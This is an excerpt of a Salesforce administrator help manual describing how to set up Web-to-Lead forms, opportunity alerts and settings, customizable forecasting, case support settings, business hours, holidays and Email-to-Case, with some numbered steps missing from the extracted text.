With Web-to-Lead, you can gather information from your company’s website and automatically generate up to 500 new leads
a day.
Your company may already have a registration or other type of page where users enter their contact information. You may also
want to create a jump page where prospects respond to a campaign. With a little extra HTML code, you can redirect that
information to Salesforce.com to create new leads.
See Preparing to Set Up Web-to-Lead for the steps to prepare for setting up Web-to-Lead.
See Setting Up Web-to-Lead for the steps to set up Web-to-Lead.
See Also:
Managing Assignment Rules
Managing Queues
Customizing Lead Settings
Assigning Leads
Displaying and Editing Leads
Creating Leads
Converting Leads
Setting Up Auto-Response Rules
1073
Customize Preparing to Set Up Web-to-Lead
• Create custom lead fields, if needed, and specify how they’ll map to custom account, contact, and opportunity fields during
lead conversion. See About Custom Fields on page 811 and Mapping Custom Lead Fields on page 1072.
• Edit the Lead Status picklist to set the default status for new and converted leads. See Updating Picklists on page 798.
• Create public email templates for the automated notification email that will be sent to prospects upon submission of each
web lead. If you plan to set up email response rules to use different email templates depending on the information submitted,
create one default template to send when none of your response rules apply. (see Managing Email Templates on page 423
and Setting Up Auto-Response Rules on page 1055).
Note: Auto-response rules are not available in Group Edition.
• Create lead queues if you wish to assign incoming leads to queues (see Managing Queues on page 500).
• Customize the Lead Settings to select the default owner of leads that fail to meet the criteria in your assignment rule (see
Customizing Lead Settings on page 1070).
• Create an active lead assignment rule to determine how web-generated leads are assigned to multiple users or queues (see
Managing Assignment Rules on page 1046). If you do not set an active assignment rule, all web-generated leads are assigned
to the default owner you specify in the Lead Settings.
See Also:
Setting Up Web-to-Lead
Capturing Web Leads
Setting Up Web-to-Lead
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
To set up Web-to-Lead:
1074
Customize Setting Up Web-to-Lead
3. Click Save.
4. To create a Web-to-Lead form, click Create Web-to-Lead Form on the Web-to-Lead Setup page.
5. Select fields to include on your Web-to-Lead form. Use the Add and Remove arrows to move fields between the Available
Fields list and the Selected Fields list, and use the Up and Down arrows to change the order of the fields on your form.
• Select the Campaign field (and optionally, the Campaign Member Status field) if you are using Web-to-Lead as
part of a campaign.
• For organizations using multiple currencies, add the Lead Currency field if you add currency amount fields, otherwise
all amounts will be captured in your corporate currency.
• Use a custom multi-select picklist to allow potential customers to express interest in several products.
• For organizations using lead record types, select the Lead Record Type field if you want users to select a record type
for Web-generated leads.
6. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed
on your Web-to-Lead form. The source of your Web-to-Lead form is always in your personal language.
7. Specify the complete URL to which users should be directed after they submit their information—for example, your
company's home page for a thank you page—and click Generate.
8. Copy the generated HTML code and provide it to your company's webmaster to incorporate into your website.
9. Click Finished.
To test the Web-to-Lead form, add the line <input type="hidden" name="debug" value="1"> to your code. This
line redirects you to a debugging page when you submit the form. Remove this line before releasing the Web-to-Lead page
to your website.
1075
Customize Restricting Price and Quantity Editing on Opportunity Products
Leads generated from your website are initially marked with the “default status” specified by the Lead Status picklist. For
Web leads generated as part of a campaign, the member status of the new leads is set to the Member Status value specified
in the form, or to the “default” member status if the Member Status field is not included in the form.
In addition, new leads are marked as “Unread,” and are changed to “Read” when viewed or edited by the lead owner. Users
can select the My Unread Leads list view to quickly locate their new leads.
Note: The format for date and currency fields captured online is taken from your organization’s default settings -
Default Locale and Currency Locale.
If your organization exceeds its daily Web-to-Lead limit, the Default Lead Creator (specified in the Web-to-Lead
setup) receives an email containing the additional lead information. If a new lead cannot be generated due to errors
in your Web-to-Lead setup, Customer Support is notified of the problem so that we can help you correct it.
Salesforce.com runs field validation rules before creating records submitted via Web-to-Lead and only creates records
that have valid values.
All universally required fields must have a value before a record can be created via Web-to-Lead.
See Also:
Preparing to Set Up Web-to-Lead
Capturing Web Leads
SALES
To ensure that opportunity products use the price from the associated price book, remove the Sales Price field from the
opportunity products page layout.
To use a quantity of one for all opportunity products, remove the Quantity field from the opportunity products page layout.
Note: If you cannot remove these fields from the page layout, contact salesforce.com to enable this option.
1076
Customize Customizing Big Deal Alerts
Your organization can use alerts that automatically send an email notification for opportunities with large amounts. Customize
this alert to send an email when an opportunity reaches a threshold. Your threshold consists of an opportunity amount and
probability. For example, you may want to send an email to your team that an opportunity of $500,000 has reached a probability
of 90%.
See Also:
Activating Big Deal Alerts
4. Check the Active box if you would like to activate the new alert immediately after you save.
5. Enter the From Email Name.
6. Enter the From Email Address.
7. Select a user that provides the appropriate opportunity page layout, language, and currency settings for the content of the
emails. This user’s profile must include the “View All Data” permission.
For organizations that use multiple currencies, all alerts include the amount in the currency of the opportunity. If the
opportunity currency is different than the currency of the user selected in this step, both currencies are included in the
email.
Enter a list of email recipients separated by commas. You can also include CC: and BCC: recipients but all must be valid
email addresses.
1077
Customize Enabling Opportunity Update Reminders
The BCC: field is not available if your organization has enabled compliance BCC emails.
8. Check the Notify Opportunity Owner box if you would like to include the owner of the opportunity in the alert
emails.
9. Click Save.
Note: An opportunity alert sends a notification the first time an opportunity reaches the threshold. So, an opportunity
that reaches the threshold with 90% probability will not trigger additional alerts if the probability subsequently goes
higher. However, an opportunity that already triggered an alert and then fell below the threshold can trigger a second
alert if it crosses that threshold again.
When working remotely in Connect Offline, you can make changes to opportunities that trigger alerts. These alert
messages will be sent when you update your data. For instructions on updating your data from Connect Offline, see
Logging in to Connect Offline on page 1989.
See Also:
Customizing Big Deal Alerts
Managing Multiple Currencies
Updated and accurate opportunities drive precise forecasts. Ensure that your opportunities are up to date by enabling managers
to schedule opportunity update reminders: automated opportunity reports that managers can customize for their teams. For
example, a manager can schedule a weekly report of all the opportunities for the current fiscal quarter owned by anyone on
the team and have the report distributed to everyone on the team.
To enable opportunity update reminders for your organization:
1078
Customize Enabling Similar Opportunities
This enables each user selected to schedule opportunity update reminders for his or her team. You can activate any user that
has direct reports.
See Also:
Scheduling Opportunity Update Reminders
On the opportunity detail page, the Similar Opportunities related list displays opportunities that match attributes of the current
opportunity. Enabling this related list allows users to learn how their current opportunities relate to other opportunities in
Salesforce.com.
Important: Enabling similar opportunities gives all users in your organization limited visibility into private
opportunities, regardless of sharing rules and profile permissions. Once enabled, users will see information for any
opportunity that matches fields you choose to display in the Similar Opportunities related list.
1079
Customize Prompting for Products on Opportunities
• Lead Source
• Opportunity Owner
• Type
The following standard related lists are supported:
• Products
• Contact Role
• Partner
• Competitors
• Sales Team
You can select any custom opportunity field, with the exception of those with the following field types:
• auto-number
• currency
• formula
• picklist (multi-select)
• roll-up summary
• text (encrypted)
• text area
2. Select the fields to use as columns on the Similar Opportunities related list.
a. Select the columns in the Available Columns box and click Add to move the columns to the Selected Columns box.
If necessary, select Remove to move columns from the Selected Columns box to the Available Columns box.
You can select up to 15 columns.
b. Use the up and down arrows to organize the selected columns in the appropriate order.
3. Click Save.
See Also:
Displaying and Editing Opportunities
Customize Salesforce.com to prompt users to select a product when creating an opportunity. Enabling this option makes it
easier for users to add products while creating an opportunity.
1080
Customize Automatically Activating Product Prices
2. Check Prompt users to add products to opportunities to have Salesforce.com prompt users to select a
product when creating an opportunity.
3. Click Save.
4. We recommend making the Amount field on the opportunity read only to ensure your opportunity amounts are driven
from the products on the opportunity. See Setting Field-Level Security on page 540.
Note: If enabled, replaces the Save button with a Save & Add Product button the opportunity creation page.
See Also:
Products, Price Books, and Schedules Overview
When you deactivate a product, you may want all related prices for that product automatically de-activated as well. Likewise,
if you activate a product, you can have all the prices for that product automatically activated.
See Also:
Products, Price Books, and Schedules Overview
1081
Customize Using Product Families
Use the Product Family picklist to categorize your products. For example, if your company sells both hardware and software,
you can create two product families: Hardware and Software.
If your organization has customizable forecasting, your users can have a different quota for hardware sales and software sales.
Users can also view forecasts for opportunities with hardware products separate from opportunities that include software
products. See Do I Have Customizable Forecasting? on page 1741.
To begin using product families:
• Customize the Product Family picklist to include the different categories of products you sell. See Modifying Picklists
on page 798.
• For each product in your price books, edit the product and select the appropriate Product Family value. See Displaying
and Editing Products on page 1798.
• If your organization has customizable forecasting, set a different quota for each product family for your users. See Setting
Quotas for Customizable Forecasting on page 453.
• If your organization has customizable forecasting, consider changing your forecast settings to display a particular forecast
family value by default when your users click the Forecasts tab. See Defining Customizable Forecast Settings on page 1086.
See Also:
Setting Up Customizable Forecasting
1082
Customize Setting Up Product Schedules
Create default revenue and quantity schedules for products. In addition, administrators can enable schedule settings that allow
users to create schedules for individual products on opportunities.
Quantity Schedule
Outlines the dates, number of units (i.e., quantity), and number of installments for billing or shipping a product. Your
organization can decide exactly how to use quantity schedules.
Revenue Schedule
Outlines the dates, revenue amounts, and number of installments for billing or recognizing revenue from a product.
Your organization can decide exactly how to use revenue schedules.
Default Schedule
A schedule associated with a product in a price book. Administrators can establish a default quantity schedule, a default
revenue schedule, or both. Every time the product is added to an opportunity, the default schedules are used. On any
particular opportunity, users can override the default schedules.
Enabling Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions
1083
Customize Customizing Contract Settings
4. Click Save.
For greater control of schedules on a product-by-product basis, administrators can also determine which schedule types users
can establish for each product (see Creating and Editing Default Schedules on page 1802).
Note: Enabling or disabling schedules does not affect archived products. For information on archived products, see
Deleting Products and Price Books on page 1814.
You cannot disable both schedule types for your organization if schedules are referenced in an Apex script. For example,
if a script references the schedule object (represented as OpportunityLineItemSchedule in the code), you can
disable one of the schedule types, but not both. For more information, see Force.com Apex Code Overview on page
1538.
Customize Salesforce.com to handle your internal contract management process. Enable or disable contract expiration notices
and auto-calculation of contract end dates.
1084
Customize Setting Up Customizable Forecasting
Note: If Auto-calculate Contract End Date is enabled but Contract Start Date or Contract Term is empty,
Contract End Date will be blank.
See Also:
Contracts Overview
FORECASTS
Sales forecasts represent the best estimate of how much revenue you can generate. They give your managers and executives a
view of your overall business no matter how dispersed your sales teams are.
Because forecasting is so universal, customizable forecasting is a flexible solution for even the most advanced requirements.
Get started using customizable forecasting by clicking Setup ➤ Customize ➤ Forecasts:
• Click Fiscal Year to customize your fiscal year settings. See Setting the Fiscal Year on page 350.
• Click Settings to customize the default settings for your organization. See Defining Customizable Forecast Settings on
page 1086.
• Click Forecast Hierarchy to set up your forecast hierarchy and sharing. See Setting Up Your Forecast Hierarchy on page
1088.
• Click Enable Forecasting to launch customizable forecasting for your organization and set up your initial forecast hierarchy.
See Enabling Customizable Forecasting on page 1091.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.
See Also:
Administrator tip sheet: Setting Up Customizable Forecasting
Submitting Customizable Forecasts in Batches
Using Product Families
Defining Customizable Forecast Settings
Setting Up Your Forecast Hierarchy
Enabling Customizable Forecasting
1085
Customize Defining Customizable Forecast Settings
• Forecast Data Aggregation determines the type of data that is displayed on forecasts.
• Forecast Summary Default View determines the default product family, date start, date range, and forecast numbers for
default forecasts.
• Forecast Data Sharing determines whether forecast data can be shared.
• Choose Opportunity Close Date if you want the entire opportunity amount to contribute to the forecast period
for that date. If your organization does not use products, this is the only option available.
• Choose Product Date if you want the amount of the product on the opportunity to contribute to the forecast period
that corresponds with the Product Date. When no products exist on an opportunity or the product date is blank,
Salesforce.com uses the Opportunity Close Date in the user’s forecast instead.
• Choose Schedule Date if you want the individual revenue schedule amounts to contribute to the forecast periods
that correspond with the schedule dates. If a product does not have a revenue schedule, Salesforce.com uses the Product
Date in the user’s forecast instead.
6. Choose a Forecast Type that determines how many forecasts your users will submit in a period:
• Choose Use Overall Forecast if your organization does not use products. Your users will have one forecast and
one quota for each period. If your organization does not use products, this is the only option available.
• Choose Use Product Families if your users have one quota and one forecast for each product family. See Using
Product Families on page 1082.
7. Choose a default view for your users. This setting determines what forecast product family, date start, date range, and
forecast totals to display for users when they first click the Forecasts tab. Users can change their view but the default remains
the same for all users.
1086
Customize Setting Your Fiscal Year
• Require Administrator assistance for forecast sharing - Only administrators can share existing
forecast data.
• Forecast managers can share their own forecast data - Administrators can share existing forecast
data, and existing forecast managers can also share their own views.
Note: This choice applies to existing forecasting views only; it is not a default setting for your organization. Each
time you edit or assign a forecast manager in the role hierarchy, you must define who can share that view.
If you have chosen to disable forecast sharing, you are prompted to confirm your choice.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.
See Also:
Setting Up Customizable Forecasting
Manually Sharing a Forecast
Setting Your Fiscal Year
Your fiscal year determines your monthly or quarterly forecasting cycle, the month it starts, and whether the Fiscal Year
is named for the starting or ending year. For example, if your fiscal year starts in April 2005 and ends in March 2006, your
fiscal year setting can be either 2005 or 2006.
To set your fiscal year for customizable forecasting:
1. Begin by archiving your data first because changing your fiscal year settings affects your opportunity and forecast data. We
recommend running and exporting the following reports:
• Opportunity Pipeline
• Quarterly Forecast Summary
• Quota vs Actual
1087
Customize Setting Up Your Forecast Hierarchy
The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you
choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available.
4. Choose a Fiscal Year Start Month that represents the beginning of your organization’s fiscal year.
5. Select a Fiscal year is based on option that represents how your organization refers to a fiscal year. For example,
if your fiscal year starts in April 2004 and ends in March 2005 but is called Fiscal Year 2005, choose The ending month
because the last month determines how your organization refers to that fiscal year.
6. Do not check Apply to all forecasts and quotas unless you want to change the fiscal year settings of forecasts
created before you enabled customizable forecasts. Checking this option changes your historical forecast data.
7. Click Save.
Note: If these options are not available to you, you may not have customizable forecasting. See Do I Have Customizable
Forecasting? on page 1741 to determine if your organization has enabled customizable forecasting.
See Also:
Defining Customizable Forecast Settings
Your forecast hierarchy lists each user that can use customizable forecasting. It determines how forecasts roll up through your
hierarchy. It is based on the role hierarchy by default, or the territory hierarchy if your organization has territory management.
When customizable forecasting is enabled for your organization, it automatically generates a forecast hierarchy based on your
organization’s role hierarchy. The forecast hierarchy becomes based on your territory hierarchy only when you enable territory
management. To customize your forecast hierarchy:
• Make sure that all the appropriate users are in your forecast hierarchy. If any are not and should be, see Enabling Users
for Customizable Forecasting on page 1089.
• Make sure that the appropriate users are the assigned forecast manager whenever there is more than one user in a role or
territory in your forecast hierarchy. Each user at the bottom of your forecast hierarchy can be a forecast manager. However,
above that, a single user must be chosen as the forecast manager for forecasts to roll up to that user. See Assigning Forecast
Managers in Your Forecast Hierarchy on page 1090.
• Share forecast manager views with other users. See Manually Sharing a Forecast on page 1092.
1088
Customize Setting Up Your Forecast Hierarchy
If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.
See Also:
Setting Up Customizable Forecasting
Enabling Users for Customizable Forecasting
Assigning Forecast Managers in Your Forecast Hierarchy
To enable users for customizable forecasting if your organization does not use territory management:
To enable a user for customizable forecasting if your organization uses territory management:
Note: To view a list of users for a territory, select the territory name in the territory hierarchy or run a territory report.
For more information on territory reports, see Territory Reports on page 2132.
If you add more than one user to a role or territory, make sure that the appropriate user is the assigned forecast manager
for that role or territory. See Assigning Forecast Managers in Your Forecast Hierarchy on page 1090
See Also:
Setting Up Your Forecast Hierarchy
1089
Customize Setting Up Your Forecast Hierarchy
After users are enabled for customizable forecasting, assign a user as a forecast manager for each role in your forecast hierarchy.
Assigning someone as a forecast manager means that all forecasts from users below that user in the forecast hierarchy roll up
to that person. For example, an executive and executive assistant may have the same role, but the executive is the assigned
forecast manager in the forecast hierarchy because all subordinates' forecasts roll up to the executive. Both the executive and
executive assistant can submit forecasts, but forecasts of other users do not roll up to the executive assistant.
If a role in the forecast hierarchy has no forecast manager, that role and all its subordinate roles are not included in your
forecasts.
If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.
• Choose Require Administrator assistance for forecast sharing to limit forecast sharing for this view
to administrators. This is the default option.
• Choose Forecast managers can share their own forecast views to allow the administrator or the
forecast manager to share this view.
5. Click Save.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.
See Also:
Setting Up Your Forecast Hierarchy
Manually Sharing a Forecast
1090
Customize Enabling Customizable Forecasting
Enabling customizable forecasting for your organization allows your forecast users to view and submit their customizable
forecasts from the Forecasts tab based on your customizable forecast settings.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.
Permission Description
Override Forecasts Allows users to override their own forecasts and forecasts
for users below them in the forecast hierarchy. All standard
profiles except Read Only receive this permission.
Edit Personal Quota
Allows users to change their individual quotas. All standard
profiles except Read Only receive this permission.
Users with the “Manage Users” permission can always edit
any quota. Users can always edit the quotas of users that
report directly to them.
View All Forecasts Allows users to view any forecast regardless of their place in
the forecast hierarchy. The System Administrator profile
includes this permission.
3. Choose the appropriate opportunity page layouts that you want to include the new Opportunity Forecasts related list.
Optionally, choose the Append... option to add this related list to page layouts even if users have customized them.
4. Click Save.
5. If your organization has custom profiles, enable or disable these permissions where necessary in your custom profiles. For
information on changing your profiles, see Viewing and Editing Profiles on page 465.
1091
Customize Manually Sharing a Forecast
Note: With customizable forecasts, your forecasts still depend on how your Opportunity Stage picklist values
map to Forecast Categories. For instructions on reviewing these mappings, see Picklists with Additional Information
on page 800.
See Also:
Setting Up Customizable Forecasting
Enabling Territory Management
Manually Sharing a Forecast
Your administrator defines your organization's forecasting hierarchy, which determines which users can view the forecast data.
However, your administrator can manually extend sharing privileges for forecast data, and you may be able to manually extend
sharing privileges for your own forecast data as well. Manual forecast sharing can only increase access to forecast data; it cannot
restrict access for users who already have access. To manually share a forecast, you must be an administrator or a forecast
manager who has been given access to share your forecast data.
To see which users can view your forecast or to share your forecast data, do one of the following:
• Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy, then click Share next to the view you want to share.
• Click Sharing on the forecast home page to share your own forecast data.
The User and Group Sharing list shows you all the users who currently have access to this forecast data. It also details the level
of access they have, whether they can submit a forecast, and the reason they have that access. The reasons a user might have
access to forecast data are:
Reason Description
Administrator The user is an administrator, or has the “Modify All Data”
permission
Delegated Forecast Manager A user has access to forecast data that was granted via the
Sharing button on the forecast.
Forecast Manager A user has access due to being a forecast manager in the
forecast hierarchy.
Owner The owner can always see his or her own forecast data.
View All Forecasts Permission The user has a profile with the “View All Forecasts”
permission.
On the Forecast Sharing Detail page, you can do any of the following:
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
1092
Customize Submitting Customizable Forecasts in Batches
• Click Add to grant other users or groups access to the forecast data.
Note: Manual sharing extends to the opportunity data that makes up the forecast. If a user has permission to
override forecast data, then the user also has permission to override the opportunity forecast data.
• Click Expand List to view all users that have access to the forecast data.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
See Also:
Defining Customizable Forecast Settings
Assigning Forecast Managers in Your Forecast Hierarchy
Enabling Customizable Forecasting
Granting Access to Records
Viewing Which Users Have Access
Submitting forecasts takes a snapshot of forecast data and makes that data available in forecast history and reports. Users can
submit their forecasts individually by clicking Submit from their forecast.
To submit multiple forecasts at once:
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.
See Also:
Setting Up Customizable Forecasting
1093
Customize Setting Up Customer Support
SUPPORT
If your organization uses cases and solutions, you can set up various automated support features. Click Setup ➤ Customize
➤ Cases.
- A Web-to-Case form
- An Email-to-Case message
- An On-Demand Email-to-Case message
- A Customer Portal
- A Self-Service portal
• Click Email-to-Case to set up the ability to capture customer emails as cases. The setup specifies how the content of each
customer email automatically populates case fields.
• Click Solution Categories to set up categories so your users can categorize the solutions they create.
• Click Solution Settings to enable specific options for solutions.
• Click Public Solutions to set up public solutions for your customers to use when searching for solutions.
• Click Web-to-Case to set up the ability to capture cases from your website.
• Click Self-Service Portal to set up your organization’s web portal for your customers to log cases and search for solutions.
For support features related to a Salesforce.com Customer Portal, click Setup ➤ Customize ➤ Customer Portal.
• Click Settings to set up your organization's Customer Portal so that your customers can log cases, search for solutions,
and access any custom objects you may have created for them.
For support features related to Salesforce CRM Call Center, click Setup ➤ Customize ➤ Call Center.
• Click Call Centers to set up new call centers and manage the users who are assigned to them.
• Click Directory Numbers to set up additional phone numbers that can be searched in a call center user's phone directory.
• Click SoftPhone Layouts to set up the layouts that are used to display call information in a call center user's SoftPhone.
To create support queues for cases or custom objects, click Setup ➤ Manage Users ➤ Queues.
1094
Customize Setting Business Hours
The support features include the ability to notify customers when their case is created manually or via the web, or when their
case is resolved. You can also automatically notify users when a case is escalated, created, or re-assigned. To use notification
emails, you must create email templates for each type of notification.
See Also:
Setting Up Your Organization
Administrator tip sheet: Setting Up Customer Support
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide
Administrator setup guide: Case Management Implementation Guide
You can specify the business hours at which your customer support team operates, including multiple business hours in multiple
time zones. Setting business hours lets you apply specific time zones and locations to:
• Cases
• Case escalation rules
• Case milestones in entitlement processes
After you set business hours, users can click Business Hours on a case to set the times at which a support team is available
to work on the case. Additionally, users with the “Customize Application” permission can add business hours to escalation
rules so that when the details of a case match the criteria of an escalation rule, the case is automatically updated and escalated
with the times and location on the rule. For example, a case updated with Los Angeles business hours only escalates when a
support team in Los Angeles is available. By default, business hours are set 24 hours, seven days a week in the default time
zone specified in your organization's profile. For more information, see Setting Up Your Organization on page 341 and Setting
Up Escalation Rules on page 1051.
To set business hours:
1095
Customize Setting Business Hours
5. Optionally, click Use these business hours as the default to set the business hours as the default business
hours on all new cases.
Default business hours on cases can be updated with business hours on escalation rules if the cases match escalation rule
criteria and the rule is set to override business hours. For details, see Setting Up Escalation Rules on page 1051.
6. Choose a time zone to associate with the business hours in the Time Zone drop-down list.
7. Set your business hours for each day of the week:
• By default, the 24 hours checkbox is selected next to each day. Deselect this checkbox if your support team is
unavailable during the entire day. When you deselect the 24 hours checkbox, you can enter start and end times for
the business hours, or leave the fields blank.
• Choose the start and end times for the business hours. If a time is not available, click the field and enter the time. Start
times must be earlier than end times.
8. Click Save.
9. Optionally associate the business hours to:
• Escalation rules so that when the details of a case match the criteria of an escalation rule, the case is updated and
escalated with the business hours on the rule. For more information, see Setting Up Escalation Rules on page 1051.
• Holidays so that business hours and any escalation rules associated with business hours are suspended during the dates
and times specified in holidays. For more information, see Setting Holidays on page 1100.
To update business hours, click Setup ➤ Company Profile ➤ Business Hours and click the Edit link next to the name of
the business hours you wish to update.
1096
Customize Customizing Support Settings
• Business hours on a case take precedence over business hours on entitlements. Business hours on entitlements only add
business hours to cases created from entitlements. For example, if you add an entitlement with business hours to a case
that already has business hours, the entitlement's business hours are ignored.
See Also:
Managing Escalation Rules
Setting Up Customer Support
Entitlement Management Overview
To optimize the automated support features, you can edit the Support Settings to specify certain templates and defaults.
Field Description
Default Case Owner The user or queue to which all cases are assigned if they fail
to match any of the case assignment rule entries. This user
cannot be inactive.
Notify Default Case Owner Checkbox that specifies whether the default case owner should
be notified when a case is assigned to him or her. When the
new owner is a queue, notice is sent to the queue email address.
Email notices are system-generated and cannot be modified.
Record Type Setting If a user creating a new case applies assignment rules, this
setting indicates which record type to assign to the new record.
If you want new cases to keep the creator's record type, select
Keep the existing record type. If you want to
overwrite the creator's record type when applying assignment
rules, select Override the existing record type
with the assignee's default record type.
Automated Case User The user listed in the Case History related list for automated
case changes resulting from assignment rules, escalation rules,
1097
Customize Customizing Support Settings
Field Description
On-Demand Email-to-Case, or cases logged in the
Self-Service portal. This user must have the System
Administrator profile or the “Modify All Data” and “Send
Email” permissions.
Case Creation Template The template to use when notifying contacts that their case
was created manually by a support representative. Sending the
notification email is optional and is triggered by a checkbox
on the case edit page. This template must be marked as
“Available for Use.”
Case Assigned Template The template to use when notifying users that a case was
manually assigned to them by an administrator or other user.
Sending the notification email is optional and is triggered by
a checkbox on the Change Case Owner page. This template
must be marked as “Available for Use.”
Case Close Template The template to use when notifying contacts that a case has
been closed. Sending the notification email is optional and is
triggered by a checkbox on the Close Case page. This template
must be marked as “Available for Use.”
Enable Case Comment Notification to Contacts Checkbox that specifies whether contacts who are not
Self-Service portal users can receive an email notification when
a case comment has been modified or added to a case. If you
choose this option, click the Case Comment Template
lookup field and select the email template to be used for these
email notifications. This template must be marked as
“Available for Use.”
Notify Case Owner of New Case Comments Sends a notification to the case owner whenever another user
adds a public or private comment to a case. When this is
checked, case owners cannot opt out of receiving these notices.
Early Triggers Enabled This check box applies to escalation rules and their actions.
You can set up an escalation rule to perform an action when
a case has been unresolved a specified number of hours. The
Age Over hour you specify determines when Salesforce.com
performs the escalation action. To ensure that your escalation
actions are triggered before the Age Over hour you specify,
enable early triggers.
Enable Suggested Solutions Use this checkbox to enable the Suggested Solutions button
on case detail pages
For more information about how Customer Portal users can
self-close their own cases directly from suggested solutions,
see Enabling Customer Portal Login and Settings on page
1313.
1098
Customize Customizing Support Settings
Field Description
For information about setting up suggested solutions for your
Self-Service portal, see Customize the Suggested Solutions
Page on page 1136.
Enable Suggested Articles Select this option to provide suggested articles on the Articles
related list. You can make suggested articles available in all
Salesforce Knowledge channels except the public knowledge
base.
Send Case Notifications from System Address Select this checkbox to specify that case comment, attachment,
and assignment notifications sent to case owners are sent from
a system address, rather than the address of the user who
updated the case.
System notifications display a “From” email address of
“noreply@salesforce.com”, and an email “Name” related to the
message, such as “Case Comment Notification”.
You can select this checkbox to prevent Self-Service or
Customer Portal users who update their cases from receiving
any “out-of-office” emails from case owners whose email is
set to “out-of-office”.
Notify Case Owners when Case Ownership Select this checkbox to specify that the Send Notification
Changes Email checkbox on cases is automatically selected when users
change a case owner to another user. Selecting this checkbox
helps prevent users from forgetting to notify other users that
they are the new owner of a case.
Note that selecting this checkbox does not specify that the
Send Notification Email checkbox is automatically
selected when users change a case owner to a queue. See
Managing Queues on page 500.
Show Closed Statuses in Case Status Field Select this checkbox to add closed statuses to the Status field
on cases so that users can close cases without having to click
the Close Case button and update information on close case
page layouts. See Closing Cases on page 2300.
Selecting Show Closed Statuses in Case Status
Field doesn't remove the Close button from case list views.
Instead, it adds Closed to the list of statuses available for users
to choose from when they select multiple cases and click
Change Status on case list views. See Viewing Case Lists
on page 2278.
Hide Save & Close Button and Cls Links After selecting Show Closed Statuses in Case
Status Field as described above, you can select this
checkbox so that the Save & Close button on case edit
pages and Cls links on Cases related lists don't display
1099
Customize Setting Holidays
Field Description
unnecessarily. Instead, users close cases via the Status field
and Save button.
See Also:
Managing Email Templates
Managing Queues
Managing Assignment Rules
Managing Escalation Rules
Capturing Web Cases
Setting Up Customer Support
Setting Holidays
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Holidays enable you to specify the dates and times at which your customer support team is unavailable. After you create a
holiday, you can associate it with business hours to suspend business hours and escalation rules during the dates and times
specified in the holiday. For more information, see Setting Business Hours on page 1095 and Setting Up Escalation Rules on
page 1051.
To set holidays:
If the Go to list link appears at the bottom of the Holidays or Elapsed Holidays related list, click it to display all the
items. From the list you can edit or delete any existing holiday, or clone any elapsed holiday.
Caution: Any elapsed holidays that you delete are not moved to the Recycle Bin. They cannot be recovered.
The recurring icon ( ) displays next to the date and time of recurring holidays.
1100
Customize Setting Holidays
2. Click New.
3. Enter a name for the holiday.
4. Enter a date for the holiday.
If you want the holiday to span more than one day:
• Specify the exact times at which the holiday takes place by deselecting the All Day checkbox next to the Time field
and entering the exact times.
• Select the Recurring Holiday checkbox to schedule the holiday to recur during specific dates and times:
- In the Frequency field, select the frequency at which the holiday recurs. When you click the Daily, Weekly, or
Monthly fields, more options display that allow you to refine frequency criteria.
- In the Start Date and End Date fields, specify the dates during which you wish the holiday to recur.
The following error message displays if you select a start date and end date that does not correspond with the
frequency you selected: The recurring holiday has no occurrence.
6. Click Save.
7. Click Add/Remove on the Business Hours related list.
8. Add or remove business hours to the holiday by selecting business hours in the Available Business Hours column, and
clicking the Add or Remove arrows to add or remove business hours to the Selected Business Hours column.
9. Click Save.
1101
Customize Setting Up Email-to-Case or On-Demand Email-to-Case
Salesforce.com can automatically create a case when an email is sent to one of your company's email addresses, such as
support@company.com. This Email-to-Case functionality auto-populates case fields from the content of each email. For
example, an email subject heading becomes a case subject. Your organization can set up Email-to-Case or On-Demand
Email-to-Case to efficiently resolve and correspond with customer inquiries via email.
Salesforce.com allows you to choose one of two Email-to-Case options:
Email-to-Case
Email-to-Case requires downloading the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case
and installing the agent behind your network's firewall.
Use Email-to-Case if you have a requirement to keep all email traffic within your firewall, and you want to accept email
attachments larger than 10 MB from customers.
On-Demand Email-to-Case
On-Demand Email-to-Case uses Apex email services to convert email to cases, without you having to download and
install an agent behind your network's firewall.
Use On-Demand Email-to-Case if you are not concerned about keeping email traffic within your firewall, and you do
not need to accept attachments larger than 10 MB from customers.
Setting Up Email-to-Case
The following high-level steps outline how to set up Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce.com, enable Email-to-Case and configure your email routing addresses. See Enabling and Configuring
Email-to-Case on page 1103.
3. Download the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case.
4. Install the agent behind your network's firewall.
5. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.
1102
Customize Enabling and Configuring Email-to-Case
6. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1014.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 423.
5. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
